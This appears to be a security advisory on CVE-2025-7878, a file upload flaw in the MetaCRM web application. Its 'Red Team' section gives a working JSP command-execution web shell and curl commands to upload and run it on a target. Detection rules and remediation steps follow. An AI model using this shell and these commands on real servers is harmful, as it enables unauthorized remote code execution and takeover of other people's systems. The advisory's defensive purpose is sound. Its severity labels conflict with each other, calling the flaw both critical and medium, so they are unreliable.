CVE-2025-7878

Executive Summary

CVE-2025-7878 is a critical unrestricted file upload vulnerability in Metasoft 美特软件 MetaCRM, affecting versions up to 6.4.2. The flaw resides in the /common/jsp/upload2.jsp endpoint, where the File parameter is not properly sanitized, allowing an attacker to upload arbitrary files (e.g., web shells) to the server. With a CVSS score of 6.3 (Medium), this vulnerability can be exploited remotely without authentication, leading to remote code execution, data exfiltration, or full server compromise. The vendor has not responded to disclosure, and no official patch is available. Public proof-of-concept (PoC) code exists, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom Java-based CRM application (MetaCRM) deployed on Apache Tomcat or similar Java application servers. The risk is primarily to organizations using this specific CRM software.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 6.3 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited file modification possible.
• Availability Impact: Low (A:L) – Limited service disruption possible.

Threat Level: High – Public exploit, no patch, and remote unauthenticated access.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) in the /common/jsp/upload2.jsp endpoint. The application fails to validate the file type, size, or content of uploaded files. An attacker can craft an HTTP POST request to this endpoint with a malicious file (e.g., a JSP web shell) in the File parameter. The server stores the uploaded file in a web-accessible directory (e.g., /uploads/ or /common/upload/), allowing the attacker to execute arbitrary code by accessing the uploaded file via a web browser.

Root Cause: The upload2.jsp script likely uses a simple file upload mechanism without:

• Checking file extension against a whitelist.
• Validating MIME type or file content.
• Restricting upload directory permissions.
• Renaming files to prevent path traversal.

Attack Flow:

1. Attacker identifies a MetaCRM instance (e.g., via Shodan or Google dork).
2. Sends a POST request to /common/jsp/upload2.jsp with a JSP web shell.
3. Server saves the file to a predictable path (e.g., /common/upload/shell.jsp).
4. Attacker accesses the uploaded file via HTTP, executing arbitrary commands.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. A typical vulnerable upload handler in JSP might look like:

<%
    Part filePart = request.getPart("File");
    String fileName = filePart.getSubmittedFileName();
    String uploadPath = getServletContext().getRealPath("") + File.separator + "uploads";
    File uploadDir = new File(uploadPath);
    if (!uploadDir.exists()) uploadDir.mkdir();
    filePart.write(uploadPath + File.separator + fileName);
    out.println("File uploaded successfully: " + fileName);
%>

Patched code would include:

• File extension whitelist (e.g., .jpg, .png, .pdf).
• MIME type validation.
• Random file renaming.
• Storing files outside web root.
• Authentication and authorization checks.

Example patched snippet:

<%
    Part filePart = request.getPart("File");
    String fileName = filePart.getSubmittedFileName();
    String ext = fileName.substring(fileName.lastIndexOf('.'));
    List<String> allowedExts = Arrays.asList(".jpg", ".png", ".pdf");
    if (!allowedExts.contains(ext.toLowerCase())) {
        response.sendError(403, "File type not allowed");
        return;
    }
    String newFileName = UUID.randomUUID().toString() + ext;
    String uploadPath = "/secure/uploads/"; // outside web root
    filePart.write(uploadPath + newFileName);
    out.println("File uploaded successfully");
%>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target MetaCRM instance (e.g., http://target.com/crm/).
• No authentication required.

Step 1: Upload a JSP Web Shell

Create a file cmd.jsp with the following content:

<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while ((line = br.readLine()) != null) {
            out.println(line);
        }
    }
%>

Step 2: Send Upload Request

Using curl:

curl -X POST -F "File=@cmd.jsp" http://target.com/crm/common/jsp/upload2.jsp

Step 3: Execute Commands

Access the uploaded shell:

curl http://target.com/crm/common/upload/cmd.jsp?cmd=id

Expected Output: uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /common/jsp/upload2.jsp with file uploads.
• Alert on unusual file extensions (.jsp, .war, .exe).
• Check for large file uploads or multiple uploads in short time.

Hunting:

• Search web server logs for upload2.jsp with POST method.
• Look for files in /common/upload/ or /uploads/ that are not expected.
• Use YARA rules (see Detection Engineering) to scan for web shells.

Containment:

• Block /common/jsp/upload2.jsp at the WAF or reverse proxy.
• Remove any unauthorized files from upload directories.
• Restrict write permissions on web-accessible directories.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_7878_WebShell {
    meta:
        description = "Detects JSP web shells uploaded via CVE-2025-7878"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-7878"
    strings:
        $jsp_exec = /Runtime\.getRuntime\(\)\.exec\(/ nocase
        $jsp_cmd = /request\.getParameter\(["']cmd["']\)/ nocase
        $jsp_upload = /upload2\.jsp/ nocase
    condition:
        $jsp_exec or $jsp_cmd
}

Sigma Rule

title: CVE-2025-7878 Unrestricted File Upload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /common/jsp/upload2.jsp with file uploads
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /common/jsp/upload2.jsp
    condition: selection
falsepositives:
    - Legitimate file uploads if application uses this endpoint for non-malicious purposes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7878 Unrestricted File Upload Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/common/jsp/upload2.jsp"; http.request_body; content:"filename="; pcre:"/\.(jsp|war|exe|php)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: Block /common/jsp/upload2.jsp at the web server or WAF level.
2. Remove uploaded files: Scan and delete any unauthorized files in upload directories.
3. Restrict permissions: Ensure upload directories are not executable (e.g., remove execute permissions for JSP files).

Long-term Fix:

• Since no vendor patch exists, consider migrating to a different CRM solution.
• Implement a custom patch:
  • Add file extension whitelist.
  • Store uploads outside web root.
  • Require authentication for uploads.
• Deploy a WAF rule to block file uploads with dangerous extensions.

Compensating Controls:

• Enable strict input validation on all file upload endpoints.
• Use a web application firewall (WAF) to block malicious payloads.
• Monitor for anomalous file uploads and web shell activity.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.